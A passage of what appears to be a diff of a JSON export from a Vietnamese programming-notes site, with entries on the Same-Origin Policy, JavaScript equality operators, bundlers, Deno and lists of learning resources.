thể tự do thao tác lên tab facebook phía bên kia, và **SOP** sinh ra với nhiệm vụ ngăn chặn các hành động này.\r\n\r\nDưới đây là vd về list các pages vi phạm **SOP** của site origin( [http://www.example.com](http://www.example.com)) :\r\n\r\n- [http://www.example.co.uk](http://www.example.co.uk) (khác domain)\r\n- [http://example.org](http://example.org) (khác domain)\r\n- [https://example.com](https://example.com) (khác protocol)\r\n- [http://example.com:8080](http://example.com:8080) (khác port)\r\n\r\n### Bypass Same-Origin Policy\r\n\r\nMặc dù ưu điểm bảo mật của **SOP** là rõ ràng, tuy nhiên trong một số trường hợp điều này lại gây khó khăn cho các nhà phát triển.\r\n\r\nĐiển hình Internet Explorer có hai ngoại lệ có thể bỏ qua **SOP**:\r\n\r\n- Nếu 2 domain cùng thuộc trust zone\r\n- Không bao gồm cổng, nghĩa là với IE thì [http://company.com:81/index.html](http://company.com:81/index.html) và [http://company.com/index.html](http://company.com/index.html) đều cùng source.\r\n\r\nNếu một công ty có nhiều web application cùng yêu cầu xác thực tại một nơi, vd như [http://store.company.com](http://store.company.com) cần xác thực tại [http://login.company.com](http://login.company.com) trước. Việc nhận dữ liệu trả về từ request đến [http://login.company.com](http://login.company.com) không khả thi vì đã bị chặn do vi phạm **SOP**.\r\n\r\nChúng ta có nhiều cách để giải quyết trong trường hợp này, thường dùng nhất là **Cross Origin Resource Sharing** (CORS). Tuy nhiên chúng ta sẽ nói về CORS ở phần khác.\r\nNguồn:: [[Viblo]], [Security testing tutorial (Part 4): Same Origin Policy & Cookies](https://viblo.asia/p/security-testing-tutorial-part-4-same-origin-policy-cookies-bWrZnOLwlxw)\r\n\r\n[[CORS là để trình duyệt bảo vệ người dùng, không phải để bảo vệ máy chủ]]\r\n[[Origin là sự kết hợp của protocol, hostname và port]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WW" + "id": "aE" }, { - "Tiêu đề": "Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Sự kiện/Mọi sự kiện đều capture và target, nhưng không phải sự kiện nào cũng bubble", + "Tiêu đề": "Web", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [An Interactive Guide to JavaScript Events | Aleksandr Hovhannisyan](https://www.aleksandrhovhannisyan.com/blog/interactive-guide-to-javascript-events/#when-is-event-capturing-useful)", + "Toàn bộ nội dung": "![SỰ THẬT về Xây Dựng Website Từ Số 0 | Roadmap Học Lập Trình Từ Đầu Cho Beginners - YouTube](https://youtu.be/JoXcxgs99bg?si=wWTRFwVis99Ey8Us)\n![The Evolution of Web Apps 1992-2024 - YouTube](https://youtu.be/a_1cV7hg5G8?si=YNONPnUYRzM1s9Sn)\n![The Web That Never Was - Dylan Beattie - YouTube](https://youtu.be/8JOD1AQGqEg?si=Rju9tPppS3sNqEdN)\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/8JOD1AQGqEg?si=5EQ6vRNgOKxhETz0\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>\n\n[web.dev](https://web.dev)\n```dataview\nLIST rows.file.link\nFROM \"✍️Lập trình/Web\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/4fq665i.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WX" + "Ngày tạo": "2023-10-26T06:55:00.000Z", + "Ngày cập nhật": "2024-09-11T03:11:00.000Z", + "id": "aF" }, { - "Tiêu đề": "Sự kiện", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Sự kiện/Sự kiện", + "Tiêu đề": "Khoa học máy tính", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Tài nguyên hỗ trợ/Khoa học máy tính", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://www.aleksandrhovhannisyan.com/assets/images/eBWEGfiGYT-1632.webp) \r\nNguồn:: [An Interactive Guide to JavaScript Events | Aleksandr Hovhannisyan](https://www.aleksandrhovhannisyan.com/blog/interactive-guide-to-javascript-events/)", + "Toàn bộ nội dung": "- [Teach Yourself Computer Science](https://teachyourselfcs.com/)\r\n- roadmap.sh\r\n![](https://youtu.be/i4MneyaJPG4)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WY" + "id": "aG" }, { - "Tiêu đề": "Với ||, `0, '', NaN` sẽ trả về false. Với ??, chúng sẽ trả về true", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Dùng nullish coalescing operator thay cho toán tử OR khi 0, '', NaN cần được trả về true chứ không phải false", + "Tiêu đề": "MDN chất lượng hơn W3School", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Tài nguyên hỗ trợ/Tiếng Anh/MDN chất lượng hơn W3School", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[MDN]], [Nullish coalescing operator (??) - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing)", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WZ" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-26T08:13:00.000Z", + "id": "aH" }, { - "Tiêu đề": "Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng ==", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Luôn dùng ===. Nếu không có lý do hợp lý thì đừng dùng ==", + "Tiêu đề": "CodeAnalogies", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/CodeAnalogies", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "=== là == mà không đổi kiểu (type conversion).\n\n```js\n'' == '0' // false\n0 == '' // true\n0 == '0' // true\n\nfalse == 'false' // false\nfalse == '0' // true\n\nfalse == undefined // false\nfalse == null // false\nnull == undefined // true\n\n' \\t\\r\\n ' == 0 // true\n```\n\n![](https://i.stack.imgur.com/yISob.png) \n# Toán hạng tham chiếu\n```js\nvar a = [1,2,3];\nvar b = [1,2,3];\n\nvar c = { x: 1, y: 2 };\nvar d = { x: 1, y: 2 };\n\nvar e = \"text\";\nvar f = \"te\" + \"xt\";\n\na == b // false\na === b // false\n\nc == d // false\nc === d // false\n\ne == f // true\ne === f // true\n```\n\n```js\n\"abc\" == new String(\"abc\") // true\n\"abc\" === new String(\"abc\") // false\n```\nNguồn:: [[Stack Overflow]], [Which equals operator (== vs ===) should be used in JavaScript comparisons?](https://stackoverflow.com/a/359509/3416774)\n\n[JS Comparison Table](https://dorey.github.io/JavaScript-Equality-Table/unified/)", + "Toàn bộ nội dung": "Nguồn:: [CodeAnalogies | CSS,JavaScript Tutorials](https://www.codeanalogies.com/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-26T17:25:00.000Z", - "id": "Wa" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "aI" }, { - "Tiêu đề": "Mọi phép so sánh với NaN đều trả về false", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Mọi phép so sánh với NaN đều trả về false", + "Tiêu đề": "freeCodeCamp", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/freeCodeCamp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Stack Overflow]], [Why NaN is greater than any number in JavaScript? (duplicate)](https://stackoverflow.com/a/26982909/3416774)", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wb" + "id": "aJ" }, { - "Tiêu đề": "Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Toán tử/Đáng lẽ typeof null phải là 'null'. Nhưng nó lại trả về là 'object' vì đây là một bug lúc JS mới được viết, và việc sửa nó sẽ làm hỏng nhiều script", + "Tiêu đề": "Google Support", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Google Support", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "F", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wc" + "id": "aK" }, { - "Tiêu đề": "Lịch sử phát triển của JavaScript", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Lịch sử phát triển của JavaScript", + "Tiêu đề": "IBM", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/IBM", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Lịch sử tiến hoá của Javascript 🔥 @TechMely - YouTube](https://youtu.be/Q-oYIbbJSrI)\r\n![The Weird History of JavaScript - YouTube](https://youtu.be/Sh6lK57Cuk4)\r\n\r\nXem thêm:: [[Lịch sử phát triển framework JavaScript]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wd" + "id": "aL" }, { - "Tiêu đề": "Bundler dùng để gom hết tất cả các script lại vào làm một", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Bundler dùng để gom hết tất cả các script lại vào làm một", + "Tiêu đề": "MDN", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/MDN", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Chuyện làm web thời xưa\r\n\r\nThời xưa, người ta chẳng cần bundler gì sất. Câu chuyện này giống như chuyện thời xưa người ta không cần điện thoại ấy.\r\n\r\nĐể xây dựng một trang web, cần các nguyên liệu chính là HTML, CSS và JS. Điều này nghe đơn giản và dễ hiểu đúng không?\r\n\r\n### Chuyện làm web thời nay\r\n\r\nCòn thời nay, chẳng ai build website với chỉ HTML, CSS, JS cả. Ít nhất ấy, thì cũng có một vài thứ khác bổ trợ như html-inspector, jQuery, React, Angular, .. và còn nhiều loại module javascript khác nữa.\r\n\r\nCòn chưa kể app script không chỉ một file là xong logic cho cả trang web được, dev cần tách ra nhiều files để dễ quản lý code hơn, như là theo từng phần của trang web chẳng hạn: script-header.js, script-footer.js, script-about-page.js, …\r\n\r\nVà thế là, `<script>` tags trong cái body hay header hay cả hai bắt đầu xếp hàng dài nối nhau như thế này:\r\n\r\n```html\r\n<body>\r\n <script src=\"script-header.js\"></script>\r\n <script src=\"script-footer.js\"></script>\r\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/html-inspector/0.8.2/html-inspector.min.js\"></script>\r\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\"></script>\r\n</body>\r\n```\r\n\r\nThêm nữa nếu mấy cái script ở trên mà phụ thuộc vào nhau, không được sắp đúng vị trí thì bạn sẽ gặp các lỗi dạng như “Uncaught ReferenceError: $ is not defined“\r\n\r\n![](https://i0.wp.com/beautyoncode.com/wp-content/uploads/2021/11/error-require.jpeg?resize=768%2C205&ssl=1)\r\n\r\nLỗi này xảy ra khi bạn viết code jquery trong file script-header.js mà load script jQuery ở sau file này. Thì lúc trình duyệt đọc đến file script-header.js nó sẽ báo lỗi là không tìm thấy jQuery.\r\n\r\nĐể sửa lỗi này thì các mô-đun được sử dụng ở những loại mô-đun cần được sắp xếp đúng thứ tự. Và thử tưởng tượng nếu có nhiều script thì việc sắp xếp chúng theo đúng thứ tự cần ưu tiên script nào load trước, cái nào load sau là cả một vấn đề, chưa nói chuyện nhìn vào cũng hơi hoa mắt.\r\n\r\n### Tui - bundler ra đời\r\n\r\nChính vì cái sự đa dạng và phong phú của các modules được sử dụng ngày càng nhiều, và sự dính chùng vào nhau khi mô-đun A dùng code của mô-đun B rồi mô-đun C dùng code của mô-đun D, nên tui – **bundler** mới được ra đời.\r\n\r\nCám ơn tui đi 🥳\r\n\r\nNhiệm vụ chính của tui là gom hết tất cả các loại script lại cùng nhau theo thứ tự ưu tiên mà bạn đặt cho tụi nó và cho ra một file script duy nhất.\r\n\r\n![](https://i0.wp.com/beautyoncode.com/wp-content/uploads/2021/11/bundler-1.png?resize=768%2C300&ssl=1) **Chưa kể, nếu bạn:** – không muốn xài javascript nữa, mà muốn xài typescript? Tui ok luôn\r\n\r\n– không muốn xài HTML mà xài React? Tui ok luôn\r\n\r\n– không muốn xài CSS mà xài SASS? Tui cũng ok luôn\r\n\r\nChưa hết, tui còn bao trọn gói các loại modules khác như là lodash, firebase, … ![](https://i2.wp.com/beautyoncode.com/wp-content/uploads/2021/11/Screen-Shot-2021-11-16-at-22.21.54.png?resize=768%2C474&ssl=1) Yên tâm, tui sẽ giúp bạn build hết mấy cái đứa ở trên đó về HTML, CSS, JS cho browser có thể hiểu và dựng trang web của bạn lên được.\r\n\r\nQuá ngon rồi đúng chưa 😊\r\n\r\nNguồn:: [[Viblo]], [module bundler là gì? Parcel – một bundler nói “không” với config](https://viblo.asia/p/module-bundler-la-gi-parcel-mot-bundler-noi-khong-voi-config-gDVK2o9vZLj)", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-23T14:42:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "We" + "id": "aM" }, { - "Tiêu đề": "Các chương trình dùng electron ngốn ram", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Các chương trình dùng electron ngốn ram", + "Tiêu đề": "Phạm Đình Khánh", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Phạm Đình Khánh", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -33751,107 +37560,107 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wf" + "id": "aN" }, { - "Tiêu đề": "Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Cứ 4kb thì tạo thành một read unit, chứ không phải là một lần chạy lệnh", + "Tiêu đề": "Real Python", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Real Python", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "It's one unit per 4kb of read. If you read a 2kb record this is 1 read unit. If you read 4.1kb record then it's 2 read units. If you use the list function and read 10 records and their total size is 3kb, then this is 1 read unit in total.\n\nNguồn:: [Deno Deploy Pricing | Deno](https://deno.com/deploy/pricing)", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:42:00.000Z", - "id": "Wg" + "Ngày tạo": "2023-09-27T08:14:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "aO" }, { - "Tiêu đề": "deno info giúp thấy chỗ script được chuyển sang JS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/deno info giúp thấy chỗ script được chuyển sang JS", + "Tiêu đề": "Refactoring.Guru", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Refactoring.Guru", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "**Refactoring.Guru** makes it easy for you to discover everything you need to know about refactoring, design patterns, SOLID principles, and other smart programming topics.\r\n\r\nThis site shows you the big picture, how all these subjects intersect, work together, and are still relevant. I don’t pretend to be the inventor of these concepts—most of them were invented by others during the past 20 years. But I think that the connection between refactoring, patterns and general programming principles still remains a mystery for the majority of programmers. This is the problem I would like to solve here.\r\n\r\n[Refactoring and Design Patterns](https://refactoring.guru/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wh" + "id": "aP" }, { - "Tiêu đề": "Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Dùng Array.fromAsync để việc lấy dữ liệu từ KV không phải chờ tải về hết rồi mới bắt đầu lọc", + "Tiêu đề": "Stack Overflow", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "When you list from KV it doesn't pull back everything at once. Instead it pulls results in batches (size is configurable). Thus, you iterate over results in an asynchronous manner as some iterations will fetch data. This allows you to process data as you retrieve it and not have to wait until it is all fetched.\r\n\r\nIn essence, it's not pulling an array but iterating over a remote data source. You could view KV as one giant array and list iterates over a sub section of that. It would be inefficient to have to wait until all data was downloaded before using it. Thus the async iterator to allow downloading AND processing at the same time.\r\nNguồn:: [How to list all entries in Deno KV?](https://stackoverflow.com/a/78210091/3416774)", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(nguồn, \"stackoverflow.com\")\nGROUP BY file.folder\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wi" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-26T08:42:00.000Z", + "id": "aQ" }, { - "Tiêu đề": "Làm quen Deno cho người mới", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Làm quen Deno cho người mới", + "Tiêu đề": "tuhocict", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/tuhocict", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Introducing Deno Deploy onboarding tutorials](https://deno.com/blog/deploy-onboarding-tutorials)", + "Toàn bộ nội dung": "Mình tìm thấy trang này hay. Người viết là giảng viên và có vẻ chú trọng đến sự bao quát hơn là giới thiệu kỹ thuật nói chung. Ở các bài nhập môn đa phần đều nói về sự thiếu sót của các giáo trình tiếng Việt trước đây. Điều này chứng tỏ rằng họ có sự tách mình ra khỏi sự hối thúc hướng dẫn người khác, để quan sát xem thứ người học nghĩ là họ cần, và thứ người dạy nghĩ là người học cần có đúng là cái mà người học cần hay không.\r\n\r\nVí dụ như ở bài về C#:\r\n> Hiện nay, số lượng tài liệu lập trình C# rất nhiều. Mỗi tài liệu có hướng tiếp cận riêng. Tuy nhiên, các tài liệu tốt nhất đều viết bằng tiếng Anh. Trên mạng Internet bạn cũng có thể dễ dàng tìm thấy rất nhiều nội dung hướng dẫn học lập trình C# tiếng Việt. Tuy nhiên, chúng thường là những blog post hoặc series bài khá rời rạc. Việc tự học theo các website hoặc blog như vậy khá khó khăn và thiếu bài bản.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-c-sharp/\r\n\r\nVí dụ khác ở bài về PHP:\r\n> Do ngôn ngữ lập trình PHP sử dụng chủ yếu trong phát triển ứng dụng web, các tài liệu dạy lập trình PHP ngay từ đầu sẽ gắn với xây dựng ứng dụng web. Cách tiếp cận này có một nhược điểm.\r\n> \r\n> Ứng dụng web phức tạp với nhiều thành phần viết bằng nhiều ngôn ngữ: phần nội dung được diễn đạt bằng HMTL; phần hình thức được chỉ định qua CSS; thành phần xuất nhập dữ liệu chạy trên trình duyệt; thành phần xử lý (viết bằng PHP) chạy trên web server.\r\n> \r\n> Như vậy, để học ngôn ngữ lập trình PHP, bạn đồng thời cũng phải học và hiểu tất cả các thành phần liên quan.\r\n> \r\n> Dĩ nhiên, để học phát triển ứng dụng web, bạn phải biết tất cả các vấn đề trên. Tuy nhiên, với mục đích học ngôn ngữ PHP, chúng lại trở thành yếu tố nhiễu gây cản trở việc tiếp thu các vấn đề của riêng ngôn ngữ PHP.\r\nhttps://tuhocict.com/huong-dan-tu-hoc-lap-trinh-php/\r\n\r\nNhóm biên soạn nhấn mạnh là đây không phải là dành cho người mới, mà là cho người đã có nền tảng rồi. Phải nói là may mắn là mình có tự học trước về JS rồi nên giờ mới hiểu được. Mình đọc bài giới thiệu về .NET thấy hiểu ra nhiều thứ.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wj" + "id": "aR" }, { - "Tiêu đề": "Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Deno/Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node", + "Tiêu đề": "Tự ngẫm nghĩ, trải nghiệm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Tự ngẫm nghĩ, trải nghiệm", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [Deno](https://deno.land/) là môi trường để thực thi JavaScript và TypeScript tương tự như Node.js. Deno là công cụ được tạo bởi Ryan Dahl – cũng là tác giả của Node.js – để khắc phục những thiếu sót của Node.js. Nó vẫn được xây dựng dựa trên V8 JavaScript Engine, tuy nhiên nó được viết bằng ngôn ngữ lập trình Rust.\r\n> \r\n> Deno còn chạy được cả WebAssembly nữa 😀.\r\n> \r\n> Những vấn đề của Node.js đã được tác giả đề cập trong buổi [phát biểu tại JSConf EU](https://youtu.be/M3BM9TB-8yA) năm 2018. Những vấn đề này thường được biết đến là “10 Things I Regret About Node.js”. Một số vấn đề nổi bật là thiếu sự bảo mật, cài đặt dependency thông qua `node_modules` chưa hợp lý, khó làm việc với promise và một vài vấn đề khác. Và để sữa chữa những vấn đề đó, anh ta đã phát triển Deno. \r\n\r\nNguồn:: [Giới thiệu Deno – một lựa chọn thay thế cho Node.js | manhhomienbienthuy](https://manhhomienbienthuy.github.io/2023/02/02/gioi-thieu-deno-mot-lua-chon-thay-the-cho-nodejs.html)\r\n\r\n![](https://youtu.be/E82zJlINvkk) \r\n![](https://youtu.be/M3BM9TB-8yA?si=Fs_igz0Dxdpd9WrL) \r\n\r\n![[Kiến trúc giữa Node và Deno.png]]\r\nNguồn:: [𝗗𝗲𝗻𝗼 là viết ngược của 𝗡𝗼𝗱𝗲. Vậy liệu... - Techbase Vietnam | Facebook](https://www.facebook.com/techbasevietnam/posts/pfbid0UBHyykVMpsRnGyiqjeLmv5rhBvmSwJ4zCy7joRCLWqXFEk94nULb6UEePpR2rYpxl)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wk" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-24T05:34:00.000Z", + "id": "aS" }, { - "Tiêu đề": "Những hàm của môi trường thực thi không chạy được trên trình duyệt", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Runtime/Những hàm của môi trường thực thi không chạy được trên trình duyệt", + "Tiêu đề": "Viblo", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Viblo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "VD, `Deno.readTextFile()` là một hàm của môi trường thực thi. Hàm này sẽ không chạy được trên trình duyệt. Bởi vì trình duyệt thì không biết gì về Deno, Node, v.v. Muốn dùng các hàm do các môi trường thực thi này cung cấp thì phải chạy trên server chứ không chạy trên client được. Cũng vì lý do này mà [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]], vì [[Route là code viết cho server. Island là code viết cho client|island là code viết cho client]].\n\nHệ quả của việc này là bạn [[Nên tách bạch file util cho client và util cho server]], vì nếu không thì sẽ dễ dùng hàm cho server khi viết island. Chỉ dùng không lẫn hàm là không đủ, mà còn phải là không lẫn file. [[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]. \n\nXem thêm:: \n- [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]. \n- [[Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như 